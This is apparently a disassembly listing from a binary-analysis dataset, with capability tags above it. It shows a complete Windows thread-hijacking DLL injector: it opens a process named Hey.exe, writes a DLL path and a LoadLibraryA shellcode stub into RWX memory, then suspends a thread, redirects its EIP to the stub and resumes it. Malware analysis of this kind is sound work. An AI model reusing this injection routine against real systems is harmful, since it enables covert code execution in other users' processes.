Function at 0x401520
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x88
call dbg.__main
mov dword [esp + 4], 0
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [esp], 0x128
call sym.operator_new_unsigned_int_
mov esi, eax
mov ebx, esi
mov eax, 0
mov edx, 0x4a
mov edi, ebx
mov ecx, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x128
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._Process32Next_8
sub esp, 8
test eax, eax
setne al
test al, al
je 0x4015bd
mov eax, dword [ebp - 0x20]
add eax, 0x24
mov dword [esp + 4], str.Hey.exe
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x4015bc
jmp 0x401582
nop
mov eax, dword [ebp - 0x20]
add eax, 0x24
mov dword [esp + 4], eax
mov dword [esp], 0x4d17c0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [ebp - 0x5a], 0x6d5c3a43
mov dword [ebp - 0x56], 0x6c642e65
mov word [ebp - 0x52], 0x6c
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x24], eax
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x60], 0
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov ecx, 0x4d17c0
call method.std::ostream.operator___void_const_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp], str.Kernel32
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x2c], eax
mov dword [esp + 4], str.LoadLibraryA
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x30], eax
mov dword [esp + 4], str.loadlib
mov dword [esp], 0x4d17c0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], dbg.std::hex(std::ios_base&)
mov ecx, eax
call method.std::ostream.operator___std::ios_base____std::ios_base__
sub esp, 4
mov edx, eax
cmp dword [ebp - 0x30], 0
setne al
movzx eax, al
mov dword [esp], eax
mov ecx, edx
call method.std::ostream.operator___bool_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp], str.ntdll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x34], eax
mov dword [esp], 0xc
call sym.operator_new_unsigned_int_
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [ebp - 0x38], eax
mov dword [esp + 0xc], 0xc
mov eax, dword [ebp - 0x38]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._GetModuleInformation_16
sub esp, 0x10
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [esp], eax
mov ecx, 0x4d17c0
call method.std::ostream.operator___void_const_
sub esp, 4
mov dword [esp + 4], 0x4d202f
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 4]
add eax, ecx
mov dword [esp], eax
mov ecx, edx
call method.std::ostream.operator___void_const_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
lea eax, [ebp - 0x60]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xa
lea eax, [ebp - 0x5a]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 8]
mov dword [esp + 4], eax
mov dword [esp], 4
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov dword [ebp - 0x3c], eax
mov dword [esp], 0x1c
call sym.operator_new_unsigned_int_
mov edx, eax
mov ebx, 0
mov eax, 0x1c
and eax, 0xfffffffc
mov ecx, eax
mov eax, 0
mov dword [edx + eax], ebx
add eax, 4
cmp eax, ecx
jb 0x401812
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x1c
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._Thread32Next_8
sub esp, 8
test eax, eax
setne al
test al, al
je 0x401859
mov eax, dword [ebp - 0x40]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 8]
cmp edx, eax
je 0x401858
jmp 0x401828
nop
mov dword [esp + 4], str.Thread_id_is
mov dword [esp], 0x4d17c0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 8]
mov dword [esp], eax
mov ecx, edx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f03ff
mov eax, dword [sym.imp.KERNEL32.dll_OpenThread]
call eax
sub esp, 0xc
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x6d], 0x234567b8
mov dword [ebp - 0x69], 0xefb85001
mov dword [ebp - 0x65], 0xff89abcd
mov byte [ebp - 0x61], 0xd0
lea eax, [ebp - 0x6d]
add eax, 1
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov ecx, 0x4d17c0
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
lea eax, [ebp - 0x6d]
add eax, 7
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
mov ecx, 0x4d17c0
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0xd
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x60]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xd
lea eax, [ebp - 0x6d]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SuspendThread]
call eax
sub esp, 4
mov dword [esp], 0x2cc
call sym.operator_new_unsigned_int_
mov esi, eax
mov ebx, esi
mov eax, 0
mov edx, 0xb3
mov edi, ebx
mov ecx, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x50], esi
mov eax, dword [ebp - 0x50]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x50]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadContext]
call eax
sub esp, 8
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
mov dword [eax + 0xb8], edx
mov eax, dword [ebp - 0x50]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetThreadContext]
call eax
sub esp, 8
mov dword [esp + 4], str.EIP_IS
mov dword [esp], 0x4d17c0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], dbg.std::hex(std::ios_base&)
mov ecx, eax
call method.std::ostream.operator___std::ios_base____std::ios_base__
sub esp, 4
mov edx, eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0xb8]
mov dword [esp], eax
mov ecx, edx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret